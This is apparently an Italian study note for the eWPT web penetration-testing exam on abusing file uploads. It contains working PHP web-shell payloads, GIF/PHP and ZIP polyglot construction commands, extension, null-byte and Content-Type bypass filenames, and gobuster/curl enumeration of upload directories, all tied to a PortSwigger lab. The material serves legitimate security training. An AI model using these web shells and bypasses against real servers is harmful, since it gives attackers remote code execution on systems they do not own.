eWPT · Exploitation & Post-Ex
File Upload Abuse
Difficoltà: Advanced Time to Master: 2.5h Prerequisiti: 03-File-Inclusion/04-Wrappers-PHP.md Lab: PortSwigger Academy (File upload vulnerabilities)
Obiettivo
Entri nella sezione dove smetti di “leggere” il server (come con LFI o SQLi) e inizi a scriverci sopra. Ogni upload di file è, in fondo, l’applicazione che ti chiede fiducia: le carichiamo un file, promettiamo che è un’immagine, e sta a lei verificarlo davvero. Il lavoro qui è capire QUALE livello di controllo l’applicazione ha effettivamente implementato (estensione? MIME type? contenuto?) e quale, tra quelli, ha lasciato una debolezza — è uno dei percorsi più diretti verso RCE che incontrerai in eWPT.
Concetti chiave
Livelli di controllo tipici (e relativa debolezza)
| Controllo | Debolezza tipica |
|---|---|
Blacklist estensione (.php bloccato) |
estensioni alternative eseguibili (.phtml, .php5) |
| Whitelist estensione | double extension (shell.php.jpg), null byte legacy |
Controllo MIME type (header Content-Type) |
header modificabile a piacere lato client |
| Controllo magic bytes contenuto | polyglot file (immagine valida + codice PHP valido) |
| Rinominazione file random | path prevedibile o directory listing abilitato |
Strumenti
| Tool | Comando base | Output | Note |
|---|---|---|---|
| Burp Repeater | modifica richiesta upload | risposta conferma/rifiuto | principale |
| exiftool | inietta payload in metadata immagine | file “immagine” con codice nascosto | per polyglot avanzati |
Payload / Esempi
Esempio 1: bypass blacklist con estensione alternativa
# invece di shell.php (bloccato), prova:
shell.phtml
shell.php5
shell.pht
shell.phar
Spiegazione: molte configurazioni Apache/PHP eseguono come PHP anche estensioni meno comuni se non esplicitamente escluse dalla blacklist: verifica quali sono effettivamente eseguite sul target specifico.
Esempio 2: bypass whitelist con double extension
shell.php.jpg
shell.jpg.php
Spiegazione: funziona se il server controlla solo l’ULTIMA estensione per la whitelist ma il motore web esegue in base a QUALSIASI estensione riconosciuta nel nome file (comportamento Apache legacy con AddHandler).
Esempio 3: bypass controllo MIME type (header modificabile)
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
Spiegazione: il Content-Type nella richiesta multipart è completamente controllato dal client: cambialo in Burp a image/jpeg mantenendo il file .php, se il server si fida solo di questo header.
Esempio 4: bypass controllo magic bytes con polyglot GIF/PHP
echo -n 'GIF89a;' > shell.php
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
Spiegazione: i primi byte (GIF89a;) soddisfano il controllo “magic number” che verifica sia davvero un’immagine GIF, ma il file resta eseguibile come PHP se caricato con estensione .php ed eseguito dal server.
Esempio 5: bypass filtro estensione via null byte / case (legacy)
filename="shell.php%00.jpg"
filename="shell.PHP"
filename="shell.pHp"
Spiegazione: il null byte tronca la stringa nel parsing lato server (funziona solo su PHP < 5.3.4, dove le funzioni C sottostanti si fermano al primo \0); la variazione di case bypassa blacklist case-sensitive che confrontano solo .php in minuscolo.
Esempio 6: upload tramite ZIP polyglot (combinato con LFI wrapper)
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php
Poi includi via zip:// come visto in 03-File-Inclusion/04-Wrappers-PHP.md, utile quando l’upload accetta solo immagini ma esiste una LFI separata da combinare.
Evasion / Bypass Techniques
Trovare il path dell’upload quando rinominato random
gobuster dir -u http://target.com/uploads/ -w wordlist.txt -x php,phtml,jpg
Se directory listing è abilitato:
curl http://target.com/uploads/
Bypass controllo dimensione con file minimale funzionante
<?=`$_GET[0]`?>
Spiegazione: shorthand PHP estremamente compatto, utile quando c’è un limite di dimensione file molto stretto; richiede short_open_tag=On sul server target.
Lab Hands-On
Lab 1 (PortSwigger): Web shell upload via Content-Type restriction bypass
Obiettivo: caricare ed eseguire una webshell PHP Difficulty: Difficile Time: 1h
Walkthrough breve:
- Prova upload diretto (probabilmente bloccato)
- Identifica il tipo esatto di controllo (estensione? MIME? magic bytes?)
- Applica il bypass corrispondente dalla lista sopra
- Trova il path del file caricato ed eseguilo
Common Mistakes
- Fermarsi al primo controllo bypassato senza verificare che il file sia REALMENTE eseguibile (a volte l’upload riesce ma il server non esegue quell’estensione) -> testa sempre l’esecuzione, non solo l’upload
- Non cercare il path reale del file caricato -> spesso rinominato, serve enumerazione della directory upload
Link Utili
Connessioni
- Prerequisito: 03-File-Inclusion/04-Wrappers-PHP.md
- Prossimo Step: 02-RCE-Techniques.md
Checklist di padronanza
- Conosco almeno 5 tecniche di bypass upload diverse
- So costruire un file polyglot immagine/PHP
- So trovare il path del file caricato dopo l’upload
- Verifico sempre l’esecuzione reale, non solo l’upload riuscito